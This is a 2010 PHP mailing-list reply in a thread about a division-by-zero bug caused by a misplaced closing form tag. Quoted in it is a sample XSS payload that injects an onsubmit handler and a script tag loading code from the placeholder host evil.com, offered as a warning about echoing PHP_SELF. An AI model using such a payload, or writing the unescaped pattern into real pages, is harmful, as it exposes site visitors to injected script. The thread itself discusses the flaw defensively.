Re: Division by 0

From: Date: Wed, 10 Mar 2010 22:31:16 +0000
Subject: Re: Division by 0
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On Wed, Mar 10, 2010 at 22:27, Jochem Maas <jochem@iamjochem.com> wrote: > Op 3/10/10 6:23 PM, Joseph Thayne schreef: >> Looks to me like you are closing your form before you put anything in >> it.  Therefore, the loan_amount is not set making the value 0.  Follow >> the math, and you are dividing by 1-1. >> >> Change this line: >> >> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" >> method="post"></form> >> >> to: >> >> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" >> method="post"> > > this is a XSS waiting to happen. I can put something like the following in > the request uri: > > index.php?" onsubmit="evil()"><script > src="http://www.evil.com/evi.js"></script> > > with regard to the original problem - some input validation is in order. PHP_SELF doesn't contain the query string, so your particular attack wouldn't work. It's still a security issue though. -- Daniel Egeberg

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